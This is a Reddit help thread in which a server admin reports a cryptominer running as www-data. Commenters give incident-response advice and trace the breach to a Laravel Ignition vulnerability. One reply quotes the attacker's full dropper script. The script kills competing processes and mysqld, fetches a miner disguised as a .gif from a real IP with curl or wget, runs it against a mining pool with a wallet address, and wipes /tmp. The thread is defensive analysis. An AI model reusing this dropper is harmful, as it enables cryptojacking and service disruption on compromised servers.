r/linux4noobs•
rich06

Coin miner trojan - help needed

A web server I do admin work on seems to have a bitcoin miner trojan installed and I can't seem to find where it originates.

From time to time (it is not continuously) several processes are being spawned by the web server user account ('www-data') similar to below:-

www-data 7116 0.0 0.1 485004 140168 ? Ssl 00:11 0:00 ./htop -a yescryptR16 -o <IP ADDRESS>:6333 -u qpkg4fgnh8a0hhzd2z9g80g4d09j6qnt0sth6l8x7z -p x --cpu-affinity 0x3 --cpu-priority 5 --backgroun

www-data 7406 0.0 0.1 485004 137536 ? Ssl 00:12 0:00 ./htop -a yescryptR16 -o <IP ADDRESS>:6333 -u qpkg4fgnh8a0hhzd2z9g80g4d09j6qnt0sth6l8x7z -p x --cpu-affinity 0x3 --cpu-priority 5 --backgroun

www-data 7689 0.0 0.1 485004 138324 ? Ssl 00:13 0:00 ./htop -a yescryptR16 -o <IP ADDRESS>:6333 -u qpkg4fgnh8a0hhzd2z9g80g4d09j6qnt0sth6l8x7z -p x --cpu-affinity 0x3 --cpu-priority 5 --backgroun

I have used iptables to block the IP address and have run rkhunter and chkrootkit but they don't report anything abnormal.

Anybody seen across this trojan before?

Posted Mar 29, 2023, 12:47 AM UTC

138
themacintoshnerd•
3
gainan•
3
sneakpeekbot•

Here's a sneak peek of r/linuxadmin using the top posts of the year!

#1: deepest secret | 18 comments
#2: I have designed Cheat Sheets on real PCBs for the community. Feedback appricated 😊 | 60 comments
#3: Some of my favorite Linux networking sheets | 14 comments


^^I'm ^^a ^^bot, ^^beep ^^boop ^^| ^^Downvote ^^to ^^remove ^^| ^^Contact ^^| ^^Info ^^| ^^Opt-out ^^| ^^GitHub

-1
gainan•

correlate the creation date of the process "htop" with your webserver logs, to investigate how they got access to the server (wordpress/joomla/... exploit?). Analyze both access and error logs, there'll probable be clues about what they did (rfi? sqli?)

Also get the absolute path of the process "htop" (ls -l /proc/$(pgrep htop)/exe). Since it's executed as www-data, probably they dropped it to /tmp or /var/tmp. If the absolute path is not /tmp or /var/tmp (or /dev/shm maybe?), but your webserver root, then I'd temporary change the ownership of your webserver root: typically owned by user www-data, change it to root so noone can write files there (/var/html, /srv/.. etc)

You can also remove exec permissions to /tmp and /var/tmp

This seems to be the script used to download and exec the miner:

#!/bin/bash
ps aux | grep -v grep | grep 'tmp' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'var' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'cron' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'zergpool.com' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'pool' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'stratum' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'mysqld' | awk '{print $2}' | xargs -i kill -9 {}
kill $(pgrep log-rotate)
kill $(pgrep kdevtmp)
kill $(pgrep kinsing)
curl --insecure https://51.178.183.72/avx.gif -o /tmp/htop || wget --no-check-certificate https://51.178.183.72/avx.gif -O /tmp/htop
cd /tmp
chmod 777 /tmp/htop
./htop -a yescryptR16 -o 198.50.168.213:6333 -u qpkg4fgnh8a0hhzd2z9g80g4d09j6qnt0sth6l8x7z -p c=BCH --cpu-affinity 0x3 --cpu-priority 5 --background >/dev/null &
sleep 1
rm /tmp/*
rm /var/tmp/*

One way to prevent the miner to work would be by using opensnitch, to automatically deny outbound connections from not allowed processes: https://github.com/evilsocket/opensnitch/discussions/743

You could also deny outbound connections except to 80 and 443.

suricata could also have been useful in this scenario.

Think about configuring auditd, tracee, osquery, etc...

1
rich06OP•

Thanks - I did find out how the exploit was executed but this is very useful information!

1
gainan•

just out of curiosity, how did they got access? maybe it'll be helpful to others :)

1
rich06OP•

It was a vulnerability in older versions of Ignition used by Laravel:-

https://nvd.nist.gov/vuln/detail/CVE-2021-3129

3
Original-ish_Name•

You could try installing clamAV but antiviruses don't really work

1